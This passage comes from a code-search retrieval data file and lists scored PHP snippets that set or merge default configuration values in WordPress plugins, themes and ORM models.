($this->isNew())\n {\n $this->setDefaults(array_merge($this->getObject()->toArray(BasePeer::TYPE_FIELDNAME), $this->getDefaults()));\n }\n else\n {\n $this->setDefaults(array_merge($this->getDefaults(), $this->getObject()->toArray(BasePeer::TYPE_FIELDNAME)));\n }\n }", "title": "" }, { "docid": "65296d0669d99a76682b0d732988ba81", "score": "0.59096813", "text": "public function applyDefaultValues()\n\t{\n\t\t$this->txnid = '';\n\t\t$this->itemname = '';\n\t\t$this->quantity = '';\n\t\t$this->invoice = '';\n\t\t$this->custom = '';\n\t}", "title": "" }, { "docid": "ee4ce6765bf64ab86fdb0d6cfda66b01", "score": "0.5908087", "text": "private function mergeDefault(array $default)\n {\n $this->default = array_merge($this->default, $default);\n }", "title": "" }, { "docid": "69fb510222ece36e2daeb3a4e11de1c8", "score": "0.5906821", "text": "protected function defaultSettings()\n {\n return [];\n }", "title": "" }, { "docid": "ca430874748919edc2ff63d917e22d2c", "score": "0.5884257", "text": "private function updateSettings() {\n\n\t\t$this->list = $this->getSettings();\n\n\t}", "title": "" }, { "docid": "f42f6260a499284667fe91e413dbeca5", "score": "0.5878993", "text": "public function applyDefaultValues()\n\t{\n\t\t$this->op_ingresso = 0;\n\t\t$this->id_polo = 0;\n\t}", "title": "" }, { "docid": "513335430038e28f5afef8bf80c206a7", "score": "0.58684635", "text": "function posk_add_defaults() {\n\t$tmp = get_option('db_options');\n if(($tmp['chk_default_options_db']=='1')||(!is_array($tmp))) {\n\t\tdelete_option('db_options'); // so we don't have to reset all the 'off' checkboxes too! (don't think this is needed but leave for now)\n\n\t\t// Default settings\n\t\t$arr = array(\n\t\t\t\"wpmenu\" => \"0\",\n\t\t\t\"plusone\" => \"1\",\n\t\t\t\"plusone_count\" => \"0\",\n\t\t\t\"authorinfo\" => \"0\",\n\t\t\t\"loadmore\" => \"1\",\n\t\t\t\"allthumbs\" => \"0\",\n\t\t\t\"blogrollfriends\" => \"0\",\n\t\t\t\"homeslides\" => \"5\",\n\t\t\t\"footertext\" => 'Copyright &copy; David Baines 2011 &bull; <a href=\"http://dbaines.com/about\">About</a> &bull; <a href=\"http://dbaines.com/sitemap\">Sitemap</a> &bull; <a href=\"http://dbaines.com/accessability\">Accessability</a> &bull; <a href=\"http://dbaines.com/blog/wp-admin/\">Login</a>',\n\t\t\t\"commentswarn\" => \"Please note: Any comments in a language other than English will be deleted. Similarly any comments using your website name or SEO keywords as your name will also be deleted. If it's your first time commenting your first comment will need to be approved, after which you will be able to comment freely.\",\n\t\t\t\"googleua\" => \"UA-12345-6\"\n\t\t);\n\t\tupdate_option('db_options', $arr);\n\t}\n}", "title": "" }, { "docid": "d91ca5016fbf645abf22d662d734fcd9", "score": "0.5865795", "text": "public function setDefaults() {\n $this->setConnections();\n $this->getDefaultConnections();\n\n $this->setNodes();\n $this->getDefaultNodes();\n return;\n }", "title": "" }, { "docid": "ec8534cdc1a6b0b707cf6bff4c78ab0b", "score": "0.5837309", "text": "protected function setDefaults()\r\n {\r\n $this->configuration = array(\r\n 'description' => $this->dql,\r\n 'categories' => array(),\r\n 'multiply' => false,\r\n 'mapIdToValue' => false,\r\n 'loadDoctrineRepository' => null,\r\n 'implodeSeparator' => ',',\r\n 'categoryUrl' => null,\r\n );\r\n }", "title": "" }, { "docid": "3e28b5f59cdb46ae2732d6c484a52b4f", "score": "0.58364964", "text": "protected function _defaults($config)\n\t{\n\t\t$config = parent::_defaults($config);\n\t\t\n\t\t$defaults = array(\n\t\t\t'currency' => 'USD', \n\t\t\t'tax_agency' => 'Internal Revenue Service',\n\t\t\t'order_status' => 'C', \n\t\t\t'additional_order_queries' => array(), \n\t\t\t'additional_product_queries' => array(), \n\t\t\t'additional_customer_queries' => array(), \n\t\t\t'additional_shipmethod_queries' => array(), \n\t\t\t'additional_paymentmethod_queries' => array(), \n\t\t\t'additional_discount_queries' => array(), \n\t\t\t'additional_shipping_queries' => array(), \n\t\t\t'additional_handling_queries' => array(), \n\t\t\t'additional_coupon_queries' => array(), \n\t\t\t'additional_salestax_queries' => array(), \n\t\t\t'additional_orderitem_queries' => array(), \n\t\t\t'additional_payment_queries' => array(), \n\t\t\t'encryption_token' => '', \n\t\t);\n\t\t\n\t\t$config = array_merge($defaults, $config);\n\t\t\n\t\tforeach ($defaults as $key => $value)\n\t\t{\n\t\t\tif (is_array($value) and !is_array($config[$key]))\n\t\t\t{\n\t\t\t\t$config[$key] = array( $config[$key] ); \n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $config;\n\t}", "title": "" }, { "docid": "08f953a43a95a3c2d626665078adff98", "score": "0.58350116", "text": "protected function updateDefaultsFromObject()\n {\n parent::updateDefaultsFromObject();\n\n $this->setDefault('longitude', $this->getObject()->getLongitude());\n $this->setDefault('latitude', $this->getObject()->getLatitude());\n }", "title": "" }, { "docid": "d98a899ecaea26697cfed78c32a7fe2f", "score": "0.58321697", "text": "function get_defaults() {\n\n $defaults = array(\n 'speed' => 1000,\n 'distance' => 200,\n 'easing' => 'in-out',\n 'position' => 'bottom-right',\n 'padding_top_bottom' => '17',\n 'padding_left_right' => '16',\n 'font_size' => '1',\n 'text_color' => '#fff',\n 'bold' => '0',\n 'text_shadow' => '0',\n 'shadow_color' => '#111',\n 'background_color' => '#272727',\n 'border_color' => '#000',\n 'border_width' => '1',\n 'radius' => '30',\n 'shadow' => '1',\n 'inset' => '1',\n 'text' => '0',\n 'margin'=> 20,\n 'text_version' => '0',\n );\n\n return apply_filters( 'mv_dynamic_to_top_default_values', $defaults );\n }", "title": "" }, { "docid": "73bc96ef103a26b6848479ede730a0dd", "score": "0.58269083", "text": "function techmix_review_setup_theme_default_settings() {\n\t\t// Caution: DO NOT check existence using === always check with == .\n\t\t// Latest blog posts style.\n\t\t$techmix_review_posts_index_style = get_theme_mod( 'techmix_review_posts_index_style' );\n\t\tif ( '' == $techmix_review_posts_index_style ) {\n\t\t\tset_theme_mod( 'techmix_review_posts_index_style', 'default' );\n\t\t}\n\n\t\t// Sidebar position.\n\t\t$techmix_review_sidebar_position = get_theme_mod( 'techmix_review_sidebar_position' );\n\t\tif ( '' == $techmix_review_sidebar_position ) {\n\t\t\tset_theme_mod( 'techmix_review_sidebar_position', 'right' );\n\t\t}\n\n\t\t// Container width.\n\t\t$techmix_review_container_type = get_theme_mod( 'techmix_review_container_type' );\n\t\tif ( '' == $techmix_review_container_type ) {\n\t\t\tset_theme_mod( 'techmix_review_container_type', 'container' );\n\t\t}\n\t}", "title": "" }, { "docid": "0058e1b89cbc2f607afc9b5ecd9b8953", "score": "0.58260065", "text": "function SetDefaults($defaults, $newSettings){\n\t\t$settings = array();\n\t\tforeach($defaults as $key => $value){\n\t\t\tif(isset($newSettings[$key]) && is_array($value) && is_array($newSettings[$key])){\n\t\t\t\t$settings[$key] = array_merge($value, $newSettings[$key]);\n\t\t\t} else {\n\t\t\t\t$settings[$key] = (empty($newSettings[$key])) ? $value : $newSettings[$key];\n\t\t\t}\n\t\t}\n\t\treturn $settings;\n\t}", "title": "" }, { "docid": "b4a8e6ce52b2f98caf54af2c641b4ee0", "score": "0.58199906", "text": "function ufclas_ufl_2015_issuem_default_settings( $defaults ){\n\t$theme_defaults = array(\n\t\t'cover_image_width'\t=> 320,\n\t\t'cover_image_height' => 400,\n\t\t'css_style'\t=> 'none',\n\t);\n\treturn array_merge( $defaults, $theme_defaults );\n}", "title": "" }, { "docid": "5c10dd6be37ffa33b53bc45d87edf896", "score": "0.58187795", "text": "function avia_woocommerce_set_defaults()\n{\n\tglobal $avia_config;\n\n\tupdate_option('shop_catalog_image_size', $avia_config['imgSize']['shop_catalog']);\n\tupdate_option('shop_single_image_size', $avia_config['imgSize']['shop_single']);\n\tupdate_option('shop_thumbnail_image_size', $avia_config['imgSize']['shop_thumbnail']);\n\n\t//set custom\n\t\n\tupdate_option('avia_woocommerce_column_count', 3);\n\tupdate_option('avia_woocommerce_product_count', 15);\n\t\n\t//set blank\n\t$set_false = array('woocommerce_enable_lightbox', 'woocommerce_frontend_css');\n\tforeach ($set_false as $option) { update_option($option, false); }\n\t\n\t//set blank\n\t$set_no = array('woocommerce_single_image_crop');\n\tforeach ($set_no as $option) { update_option($option, 'no'); }\n\n}", "title": "" }, { "docid": "dac49cb03f9045dac9958f253f49fa91", "score": "0.58065045", "text": "function setDefaultValues()\n {\n $defaults = array();\n\n // Don't want to be able to copy, update or delete a batch.\n\n if ($this->_id) {\n $params = array('id' => $this->_id);\n CJT_BAO_JournalTag::retrieve($params, $defaults);\n }\n\n // Description is set in buildQuickForm\n if (!empty($this->_values['description'])) {\n $defaults['description'] = $this->_values['description'];\n }\n\n $defaults['catchup_id'] = $this->_id;\n\n return $defaults;\n }", "title": "" }, { "docid": "064a56063e84164a2ebb22d1ffc304d4", "score": "0.5805368", "text": "protected function _loadDefaultData()\n {\n $this->_defaultData = [\n 'base_skin_url' => url('skin/admin'),\n 'base_url' => url('')\n ];\n }", "title": "" }, { "docid": "8aea2353371e93b8c8efacda4f5062b4", "score": "0.5803849", "text": "public function testMergeDefaults() {\n $config = [\n 'top-level' => 1,\n 'empty_assoc' => [],\n 'empty_numeric' => [],\n 'empty_select_config' => [],\n 'assoc' => ['a' => 1],\n 'numeric' => [1, 2, 3],\n 'select_config' => ['a' => 'a', 'b' => 0],\n ];\n $defaults = [\n 'top-level' => 2,\n 'empty_assoc' => ['foo' => 'bar'],\n 'empty_numeric' => [1, 2, 3],\n 'empty_select_config' => ['a' => 'a', 'b' => 0],\n 'assoc' => ['b' => 2],\n 'numeric' => [4, 5, 6],\n 'select_config' => ['b' => 'b', 'c' => 'c'],\n ];\n ArrayConfig::mergeDefaults($config, $defaults);\n $this->assertEquals([\n 'top-level' => 1,\n 'empty_assoc' => ['foo' => 'bar'],\n 'empty_numeric' => [],\n 'empty_select_config' => [],\n 'assoc' => ['a' => 1, 'b' => 2],\n 'numeric' => [1, 2, 3],\n 'select_config' => ['a' => 'a', 'b' => 0],\n ], $config);\n }", "title": "" }, { "docid": "bc92824eb54bbd6b024888e3613f8ceb", "score": "0.57952404", "text": "abstract protected function defaultConfig();", "title": "" }, { "docid": "0932c09fbdc59ce3d6d6ea9b02c0cef0", "score": "0.5787942", "text": "function wpfc_add_defaults() {\n\t\t$tmp = get_option('wpfc_options');\n\t\t$default = isset($tmp['chk_default_options_db']) ? $tmp['chk_default_options_db'] : '';\n\t if(($default == '1') || ( !is_array($tmp ))) {\n\t\t\tdelete_option('wpfc_options'); // so we don't have to reset all the 'off' checkboxes too! (don't think this is needed but leave for now)\n\t\t\t$arr = array(\t\"bibly\" => \"0\",\n\t\t\t\t\t\t\t\"bibly_version\" => \"KJV\",\n\t\t\t\t\t\t\t\"archive_slug\" => \"sermons\",\n\t\t\t\t\t\t\t\"archive_title\" => \"Sermons\",\n\t\t\t\t\t\t\t\"common_base_slug\" => \"0\"\n\t\t\t);\n\t\t\tupdate_option('wpfc_options', $arr);\n\t\t}\n\t}", "title": "" }, { "docid": "e7f556baed14776c2ca481fa06eccadc", "score": "0.57863164", "text": "protected function setDefaults() {\n\t\twfProfileIn( 'BS::'.__METHOD__ );\n\t\t$this->sOrder = 'score';\n\t\t$this->sAsc = 'desc';\n\t\t$this->iOffset = 0;\n\t\t$this->bSearchFiles = false;\n\t\twfProfileOut( 'BS::'.__METHOD__ );\n\t}", "title": "" }, { "docid": "6d866807cbfa777cba3ace07f7159735", "score": "0.5782698", "text": "function __bzmndsgn_reserialize_data ( ){\n\t// Get current settings.\n\t$bzmndsgn_config_options_database = get_option ( BZMNDSGN_CONFIG_OPTIONS ) ;\n\n\t/*\n\tpossible cases:\n\t1) a setting has been added\n\t2) a setting has been deleted (not too likely)\n\t3) a value has been modified (we don't care if the old value is different from the new default value, keep the old value)\n\t*/\n\n\t// Merge the database option values with the defaults, over-writing them.\n\t$merged_options = wp_parse_args ( $bzmndsgn_config_options_database, SITE_OPTIONS_DEFAULTS ) ;\n\t$deleted_options_keys = array_diff_key ( $bzmndsgn_config_options_database, SITE_OPTIONS_DEFAULTS ) ;\n\n\t// Have any option keys been deleted?\n\tif ( ! empty ( $deleted_options_keys ) ) {\n\t\tforeach ( $deleted_options_keys as $deleted_option_key => $deleted_option_value ) {\n\t\t\tunset ( $merged_options[$deleted_option_key] ) ;\n\t\t}\n\t}\n\n\tupdate_option ( BZMNDSGN_CONFIG_OPTIONS, $merged_options ) ;\n\n}", "title": "" }, { "docid": "467bc5a3e2761206100dae35d0f40f23", "score": "0.57823694", "text": "public function applyDefaultValues()\n\t{\n\t\t$this->bounce_type = 1;\n\t}", "title": "" }, { "docid": "1b13f1c5245fcc38352b88a0614ad2ed", "score": "0.5770098", "text": "private function mergeConfig()\n {\n $this->mergeConfigFrom($this->packagePath('/config/admin.php'), 'admin');\n $this->mergeConfigFrom($this->packagePath('/config/menus.php'), 'menus');\n }", "title": "" }, { "docid": "f028ddf6173178444da3f5cdecdc88f0", "score": "0.5766733", "text": "public function applyDefaultValues()\n {\n $this->empresa_estatus = true;\n }", "title": "" }, { "docid": "0b717616f71c6735e81baa85c06ca4ad", "score": "0.57660776", "text": "private function default_settings() {\n\t\t\t\n\t\t\treturn array(\n\t\t\t\t'default' => array(\n\t\t\t\t\t'termination-choice' => apply_filters( 'e20r-member-cancellation-policy-default', 'end_of_period' ),\n\t\t\t\t\t'delete-inactive-users' => apply_filters( 'e20r-member-cancellation-deletion', false ),\n\t\t\t\t),\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "d84d10412211ee9a9b9516d691822ad4", "score": "0.5756349", "text": "private function setDefaults(){\n\n\t\t// $this->PropuestaDestino->setDefaultProductos(); se establecen en clonePage7\n\t\t$this->PropuestaDestino->setUniqueCode();\n\t\t// $this->PropuestaDestino->setProcesos(); se establecen en clonePage9\n\t\t// $this->PropuestaDestino->setRutaCritica(); se establece en clonePage9\n\t\t$this->PropuestaDestino->setIdoneidades();\n\t\t$this->PropuestaDestino->setValidez();\n\t\t$this->PropuestaDestino->setFechaCreacion();\n\t\t// $this->PropuestaDestino->setNotasCalidad(); se establece en clonePage10\n\t}", "title": "" }, { "docid": "cc8f4307f785d27dc1dde8bccfa13f65", "score": "0.57473046", "text": "function wpamms_set_default_options() {\n\tif ( get_option( 'wpamms_options' ) === false ) {\n\t\t$new_options['membership_admin_email'] = \"\";\n\t\t$new_options['short_tittle'] = \"\";\n\t\t$new_options['membercard_template_path'] = \"assets/membercard-template.png\";\n\t\t$new_options['send_email_notification'] = true;\n\t\t$new_options['version'] = VERSION;\n\t\tadd_option( 'wpamms_options', $new_options ); \n\t} else {\n\t\t$existing_options = get_option( 'wpamms_options' );\n\t\tif ($existing_options['version'] < VERSION) { \n\t\t\t$existing_options['version'] = VERSION;\n\t\t\tupdate_option( 'wpamms_options', $existing_options );\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d6dd70207893c40cc7fa96bc8405fd5c", "score": "0.5742545", "text": "public function configure_defaults() {\n add_filter('timber_context', [$this, 'add_to_context']);\n\n $this->configure_twig_view_cascade();\n $this->configure_default_twig_extensions();\n $this->add_default_twig_helpers();\n $this->configure_default_admin_dashboard_widgets();\n $this->enable_admin_hotkeys();\n\n Button::register('button');\n\n Integrations\\YoastIntegration::demote_metabox();\n // TODO moar integrations!\n }", "title": "" }, { "docid": "bda54d612646c7af0dfec756d733c8ec", "score": "0.574147", "text": "private function maybe_migrate_old_settings() {\n\t\t$existing_options = get_option( $this->get_option_key(), null );\n\t\tif ( null !== $existing_options || ! $this->is_integration_active() ) {\n\t\t\treturn; // Already migrated or existing config never setup.\n\t\t}\n\t\t$old_settings = get_option( 'wc_bookings_google_calendar_settings', null );\n\n\t\tif ( ! empty( $old_settings ) ) {\n\t\t\tunset( $old_settings['client_id'] ); // Client id and secret not used anymore.\n\t\t\tunset( $old_settings['client_secret'] );\n\t\t\tadd_option( $this->get_option_key(), $old_settings );\n\t\t}\n\t}", "title": "" } ]
26d71a0b0829d496c8e6bbe23ccaa28a
Display a listing of the resource.
[ { "docid": "c7b12456ca56114f19bb3a8b5faa2ca3", "score": "0.0", "text": "public function index()\n {\n $dateStart = new Carbon('2018-10-01');\n $dateEnd = $dateStart->copy()->addMonths(10);\n\n return $this->repository->getCashFlow($dateStart,$dateEnd);\n }", "title": "" } ]
[ { "docid": "a2c82e645f33199ca3af4df01daa0da0", "score": "0.73454344", "text": "public function listAction()\n {\n $this->view->headTitle('Book Listing ','PREPEND');\n $this->view->books = $this->bookService->listService();\n }", "title": "" }, { "docid": "2ecb35785c4b9e881de2de7a961178df", "score": "0.7216204", "text": "public function action_list(){\n\t\t$v = View::factory(static::$entity.'/list');\n\t\t$this->template->body = $v;\n\t}", "title": "" }, { "docid": "dad0a13a73bcf8293bb4d9e710796f56", "score": "0.7157767", "text": "public function listAction()\n {\n $this->processList();\n }", "title": "" }, { "docid": "e5d3acc1f5204195de85b93044bfcb61", "score": "0.71494645", "text": "function listAction()\n {\n $pageTitle = 'Golf listings';\n $listLinkStyle = 'current_page';\n $isLoggedIn = $this->isLoggedInFromSession();\n $username = $this->usernameFromSession();\n\n $golfRepository = new GolfRepository();\n $golfs = $golfRepository->getAll();\n\n require_once __DIR__ . '/../templates/list.php';\n }", "title": "" }, { "docid": "bd3a7b4e07a2548dae8d575849df412a", "score": "0.7130363", "text": "public function index() {\n return view('admin.resources.index', [\n 'resources' => Resource::paginate(10)\n ]);\n }", "title": "" }, { "docid": "174c016a6d20963698d0780d8861782d", "score": "0.710266", "text": "function showListPage() {\n\t\t$this->setCacheLevelNone();\n\n\t\t$this->render($this->getTpl('list'));\n\t}", "title": "" }, { "docid": "598d9caa73e88220c1d2180531a736f9", "score": "0.70930976", "text": "public function index()\n {\n $className = $this->modelClass;\n $model = $className::orderby('created_at', 'desc')->paginate(10);\n \n return view('admin.listing')\n ->with('pageTitle', $this->pageTitle)\n ->with('secondTitle', $this->secondTitle)\n ->with('columns', $this->columns)\n ->with('urlName', $this->urlName)\n ->with('model', $model);\n }", "title": "" }, { "docid": "3e6e80d5cb774ecfe48382a53469b26e", "score": "0.70829386", "text": "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getContents();\t\n\t\t$page = (int)($this->_request->getParam('page'));\n\t\tGlobals::doPaging($result, $page, $this->view); \n\t\t\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "title": "" }, { "docid": "4033d77018807de6b615c3ca97da7bef", "score": "0.70523685", "text": "public function index()\n {\n return TodoListResource::collection($this->listRepository->list());\n }", "title": "" }, { "docid": "fbd940db6024ed547d75a84196b6efcc", "score": "0.7010042", "text": "public function index()\n {\n //get shows\n $shows = ShowsModel::paginate(10);\n\n return ShowsResource::collection($shows);\n }", "title": "" }, { "docid": "22e061b6e387c7871a6d54e088305a74", "score": "0.69801855", "text": "public function index()\n {\n return RecipeListResource::collection(Recipe::all());\n }", "title": "" }, { "docid": "937d8c67ef1e241cc6f04440a03a35d5", "score": "0.6966139", "text": "public function listing(){\n return view('interface/listing');\n }", "title": "" }, { "docid": "43a3797d462201f8486a324b4e596f68", "score": "0.6948928", "text": "public function list()\n {\n $flash = '';\n\n if(!empty($_SESSION['flash'])){\n $flash = $_SESSION['flash'];\n $_SESSION['flash'] = '';\n }\n\n # it will be populated\n $data = [];\n\n $bookInstance = new Book();\n $books = $bookInstance->select()->get();\n\n # fill data\n $data['flash'] = $flash;\n $data['books'] = $books;\n $data['loggedUser'] = $this->loggedUser;\n $data['url'] = Request::getUrl();\n\n $this->render('library', $data);\n }", "title": "" }, { "docid": "a74b64d14d05fcd4b8d8543c548d39b6", "score": "0.69425523", "text": "public function listAction() {\n $this->_datatable();\n return $this->render('BackendBundle:FeastStageArtist:list.html.twig');\n }", "title": "" }, { "docid": "161606f4dde01f5513c0d576501b3cb7", "score": "0.6905698", "text": "public function _index()\n\t{\n\t\t_root::getRequest()->setAction('list');\n\t\t$this->_list();\n\t}", "title": "" }, { "docid": "836499ad8af32deefc4b356617470307", "score": "0.6899619", "text": "public function index()\n {\n return view('laramanager::entries.index.index')\n ->with('resource', $this->resource)\n ->with('entries', $this->entriesRepository->getList($this->resource));\n }", "title": "" }, { "docid": "378b941376864b0adca2a47f6d9cbc14", "score": "0.6898765", "text": "public function action_index(){\n\t\t$v = View::factory(static::$entity.'/list');\n\t\t$this->template->body = $v;\n\t}", "title": "" }, { "docid": "a657a499da3c1e94405a12a48a398286", "score": "0.6889014", "text": "public function action_list()\n\t{\n\t\t$recordings = Model_Recording::factory()\n\t\t\t->with('Quotes')\n\t\t\t->find_all();\n\n\t\t// Generate and output the view\n\t\t$content = View::factory('recording/list')\n\t\t\t\t ->set('recordings', $recordings);\n\t\t$template = View::factory('templates/default')\n\t\t\t\t\t->set('title', 'All recordings')\n\t\t\t\t\t->set('content', $content->render());\n\n\t\t$this->response->body($template->render());\n\t}", "title": "" }, { "docid": "b41517724d4cdbc80c63a80b966a7b01", "score": "0.68746614", "text": "public function listAction() {\n\n\t\t}", "title": "" }, { "docid": "e908ab42fc450a9a0594cc9564f4eeb9", "score": "0.68608236", "text": "public function listAction() {\n $this->model->updateStatus();\n Zend_View_Helper_PaginationControl::setDefaultViewPartial('pagecontrol.phtml');\n\n $where = '1 = 1';\n\n $filter = $this->_request->getParam('search');\n $this->view->filter = $filter;\n\n if ($filter == 'active') {\n $where = 'status = 0';\n } else if ($filter == 'disabled') {\n $where = 'status = 2';\n } else if ($filter == 'expired') {\n $where = 'status = 1';\n }\n\n $sort = $this->_request->getParam('sort');\n if (!$sort) {\n $sort = 'description';\n }\n\n if (!isset($this->session_sorting->sort)) {\n $this->session_sorting->sort = 0;\n }\n\n if ($this->session_sorting->sort == 0) {\n $this->session_sorting->sort = 1;\n $data = $this->table->fetchAll($this->table->select()->where($where)->order($sort . ' desc'));\n } else {\n $this->session_sorting->sort = 0;\n $data = $this->table->fetchAll($this->table->select()->where($where)->order($sort . ' asc'));\n }\n\n $paginator = Zend_Paginator::factory($data);\n $paginator->setCurrentPageNumber($this->_getParam('page', 1));\n $paginator->setItemCountPerPage(10);\n\n $this->view->page = $this->_getParam('page');\n $this->view->discounts = $paginator;\n }", "title": "" }, { "docid": "8ef49cf3a3eb21ff0a74662ea3579be6", "score": "0.68547213", "text": "public function index()\n {\n // Get cards\n $cards = Card::orderBy('created_at', 'desc')->paginate(10);\n\n // Return collection of cards as a resource\n return CardResource::collection($cards);\n }", "title": "" }, { "docid": "6e9ab9b623d3bae20d9be7b36335891d", "score": "0.68502206", "text": "public function listAction()\n {\n $this->forward('index');\n }", "title": "" }, { "docid": "d6111f19a7aca7d26ffbe0986ebf3edd", "score": "0.68407434", "text": "public function indexAction()\n {\n $this->listAction();\n }", "title": "" }, { "docid": "88277ff9376f997f91e6b5491575d7bb", "score": "0.6833471", "text": "public function index()\n {\n return ShoppingListResource::collection(ShoppingList::paginate(15));\n }", "title": "" }, { "docid": "546b231c03944da42a8e98b848f51fa9", "score": "0.68256605", "text": "public function list()\n {\n $shelves = Bookshelf::visible();\n\n return $this->apiListingResponse($shelves, [\n 'id', 'name', 'slug', 'description', 'created_at', 'updated_at', 'created_by', 'updated_by', 'owned_by',\n ]);\n }", "title": "" }, { "docid": "755da2e01052312a756038c9d166d9cb", "score": "0.6794544", "text": "public function listAction() {\n $this->view->headTitle($this->view->translate('List of templates'), 'PREPEND');\n $templateModel = new Unisender_Model_UnisenderTemplate();\n $this->view->template_list = $templateModel->getAll();\n }", "title": "" }, { "docid": "d05cc4d736f09bef3c6bdf24844ac8c6", "score": "0.67895305", "text": "public function index()\n\t{\n\t\t$artists = Artist::paginate(100);\n\n\t\treturn $this->respond([\n\t\t\t'data' => $this->artistTransformer->transformCollection($artists->all())\n\t\t]);\n\t}", "title": "" }, { "docid": "89d40e37a12f5ea687a94247a2fdb4da", "score": "0.6786343", "text": "public function actionIndex()\n {\n $this->layout = '@backend/views/layouts/list';\n return $this->render('index', [\n 'dataProvider' => $this->getDataProvider(),\n 'model' => $this->getModelSearch(),\n 'currentView' => $this->getCurrentView(),\n 'availableViews' => $this->getAvailableViews()\n ]);\n }", "title": "" }, { "docid": "1647b90a06fcd39c33c32b33bf9fa133", "score": "0.67860115", "text": "public function index()\n {\n return view('list_wrapper', [\n 'entityType' => 'itemscanner',\n 'datatable' => new ItemScannerDatatable(),\n 'title' => mtrans('itemscanner', 'itemscanner_list'),\n ]);\n }", "title": "" }, { "docid": "487c93a93f48c83d96a649e03fdb104d", "score": "0.6774347", "text": "public function index()\n {\n //\n return DishResource::collection(Dish::orderBy('id', 'asc')->paginate());\n }", "title": "" }, { "docid": "6265f2e35f1c819b84733e2d894fc9f3", "score": "0.6763496", "text": "public function __list()\r\n {\r\n $current = SamsonLocale::current();\r\n\r\n $default = 'ru';\r\n\r\n if (defined('DEFAULT_LOCALE')){\r\n $default = DEFAULT_LOCALE;\r\n }\r\n\r\n // Render all available locales\r\n $html = '';\r\n foreach (SamsonLocale::get() as $locale) {\r\n if ($current != $default) {\r\n $urlText = substr(url()->text,strlen($current)+1);\r\n } else {\r\n $urlText = url()->text;\r\n }\r\n if ($locale == $default) {\r\n $url = 'http://'.$_SERVER['HTTP_HOST'].__SAMSON_BASE__.$urlText;\r\n } else {\r\n $url = 'http://'.$_SERVER['HTTP_HOST'].__SAMSON_BASE__.$locale.'/'.$urlText;\r\n }\r\n\t $localeName = '';\r\n\t if ($this->isLocaleLinkText) {\r\n\t\t $localeName = $this->translate($locale, $current);\r\n\t }\r\n $html .= $this->view('list/item')\r\n ->css(self::CSS_PREFIX)\r\n ->locale($locale == SamsonLocale::DEF && SamsonLocale::DEF == ''? 'def' : $locale)\r\n ->active($locale == $current ? self::CSS_PREFIX.'active':'')\r\n ->url($url)\r\n\t ->name($localeName)\r\n ->output();\r\n }\r\n\r\n // Set locale list view\r\n $this->view('list/index')->locale($current)->css(self::CSS_PREFIX)->items($html);\r\n }", "title": "" }, { "docid": "9574508ae15a68d9552788d66f6069d4", "score": "0.67439693", "text": "public function all()\n\t{\n\t\t$recipes = Recipe::findRecipe(array('recipe_images.is_cover'=>'yes'));\t\n\t\t\n\t\t$this->template->recipes = $recipes;\n\t\t$this->template->display('list.html.php');\n\t}", "title": "" }, { "docid": "e1224469d7f8380d5b96958c49bfc327", "score": "0.67368996", "text": "public function index()\n {\n $offers = Offer::filter()->paginate();\n\n return OfferResource::collection($offers);\n }", "title": "" }, { "docid": "e89b2c9176e1e2ba1660cebc077dc45d", "score": "0.6728091", "text": "public function index()\n {\n $user = $this->userContract->findWith(request()->user()->id, ['profile']);\n $resources = $this->resourceContract->getResourcesOrdered();\n $trashed = $this->resourceContract->getTrashedResourcesOrdered();\n\n return view('backend.resources.index', compact('user', 'resources', 'trashed'));\n }", "title": "" }, { "docid": "2422a439354b2d9d0c8e13222d75b791", "score": "0.67135084", "text": "public function indexAction()\r\n {\r\n \t$this->openApi->getItems();\r\n $this->view->data = $this->openApi->getDataResponse();\r\n }", "title": "" }, { "docid": "f38c30f9e765863f55cf5c7e5b441e0a", "score": "0.6695974", "text": "public function listAction()\n {\n $this->_title($this->__('System'))->_title($this->__('Index Management'));\n\n $this->loadLayout();\n $this->_setActiveMenu('system/index');\n $this->renderLayout();\n }", "title": "" }, { "docid": "c28bf83f5ff7f88cca0b895b2e8d3ae8", "score": "0.669245", "text": "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Reviews list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the reviews.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/reviews/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Reviews::grid() )->datagrid ();\n\t}", "title": "" }, { "docid": "a90256f37c65707c557ad75ce4efde1a", "score": "0.66915387", "text": "public function index()\n {\n return $this->service->getList();\n }", "title": "" }, { "docid": "4cc7c30861d929f90a57a50b59a5a1f5", "score": "0.66879165", "text": "public function listAction(){\n\t\t//Passes values from the Todo Mysql table into the $todos value\n\t\t$todos = $this->getDoctrine()\n\t\t\t\t\t ->getRepository('AppBundle:Todo')\n\t\t\t\t\t ->findAll();\n\t\t//Loading the todo view in here...\n return $this->render('todo/index.html.twig', array(\n\t\t\t'todos' => $todos\n\t\t));\n }", "title": "" }, { "docid": "1a9cb6255c77fe1bff8fb9d77615f930", "score": "0.66870624", "text": "public function list(): Response\n {\n return $this->renderList(\n [],\n ['artist' => 'ASC', 'title' => 'ASC']\n );\n }", "title": "" }, { "docid": "a8ee22092f12cd9a55fa2d36291251f4", "score": "0.6683523", "text": "public function action_list() {\n if (Input::method() != 'GET') { $this->response($this->no_access); return; }\n\n $params = Input::get();\n $user = $this->user_login->user;\n\n try {\n $resp = $this->listStuff($params, $user);\n } catch (Exception $exc) {\n return $this->_error_response($exc->getMessage());\n }\n \n // Set the output\n $data = array('data' => array('offers' => $resp[\"all_offers\"]), 'meta' => $resp[\"meta\"]);\n $this->response($data);\n\t}", "title": "" }, { "docid": "5a18d2c52cb259d958c945d4d6a9ea33", "score": "0.6676733", "text": "public function listAction()\n {\n $task = new Task($this->config);\n $tasks = $task->getAll();\n $amountOfTasks = $task->getAmountTasks();\n \n // load views.\n $this->view('task/list', [\n 'tasks' => $tasks,\n 'amountOfTasks' => $amountOfTasks\n ]);\n }", "title": "" }, { "docid": "fb257c74bec9eb0cfbe648823975e645", "score": "0.6653098", "text": "public function index()\n {\n $requests = ModelsRequests::paginate();\n\n return ResourcesRequests::collection($requests);\n }", "title": "" }, { "docid": "f186543d4e229fe60c320d197652a0ac", "score": "0.6648046", "text": "public function index()\n {\n return BookResource::collection(Book::paginate());\n }", "title": "" }, { "docid": "097ff24f05f0eef21fe921e55bd3b80d", "score": 